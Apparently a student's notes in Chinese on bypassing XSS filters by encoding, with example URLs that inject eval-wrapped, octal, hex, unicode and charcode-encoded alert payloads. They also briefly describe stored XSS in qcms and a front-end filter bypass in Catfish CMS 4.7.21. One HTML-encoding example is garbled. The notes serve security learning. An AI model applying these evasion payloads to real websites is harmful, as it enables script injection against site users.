XSS--编码绕过，qcms，鲶鱼cms

一.编码绕过

1）HTML进制编码
标签中的某些属性值可以使用html十进制、十六进制表示
2）JavaScript编码
JavaScript支持unicode、八进制、十六进制、十进制等
3）URL编码
4）base64编码

• js编码分为8进制 10进制 16进制，unicode编码--\u
  
  8进制，10进制直接用eval函数运行把alert('xss')转码
  
  eval('')有单引号

8进制
http://test.com/xss/xss/example5.php?name=<script>eval('\141\154\145\162\164\50\61\61\61\61\61\61\61\61\61\51')</script>

16进制
http://test.com/xss/xss/example5.php?name=<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x31\x31\x31\x31\x31\x31\x31\x31\x29')</script>

unicode编码
http://test.com/xss/xss/example5.php?name=<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0031\u0031\u0031\u0031\u0031\u0031\u0031\u0029')</script>

10进制还要加String.fromCharCode函数用eval执行

http://test.com/xss/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,49,49,49,41))</script>

• HTML编码
  
  HTML编码的存在就是让他在代码中和显示中分开， 避免错误。他的命名实体：构造是&加上希腊字母，字符编码：构造是&#加十进制、十六进制ASCII码或unicode字符编码，而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里，比如属性src里，但却不能对src进行html编码。不然浏览器无法正常的渲染。
  
  例如：

<img src=logo.png/>

可以正常显示。

但是当你把src或者img进行html编码就不行了，例如：

<img src=logo.png/>

3.ppt

三，实战qcms和Catfish(鲶鱼)CMS

（1）qcms

大体游览一遍网站发现只有留言处有输入，可能存在xss，

完全没有过滤，还是存储型xss

（2）Catfish(鲶鱼)CMS-4.7.21

发现过滤尖括号，双引号，听老师知道这是前端过滤，用burpsuit即可绕过

百度到的大佬审计原理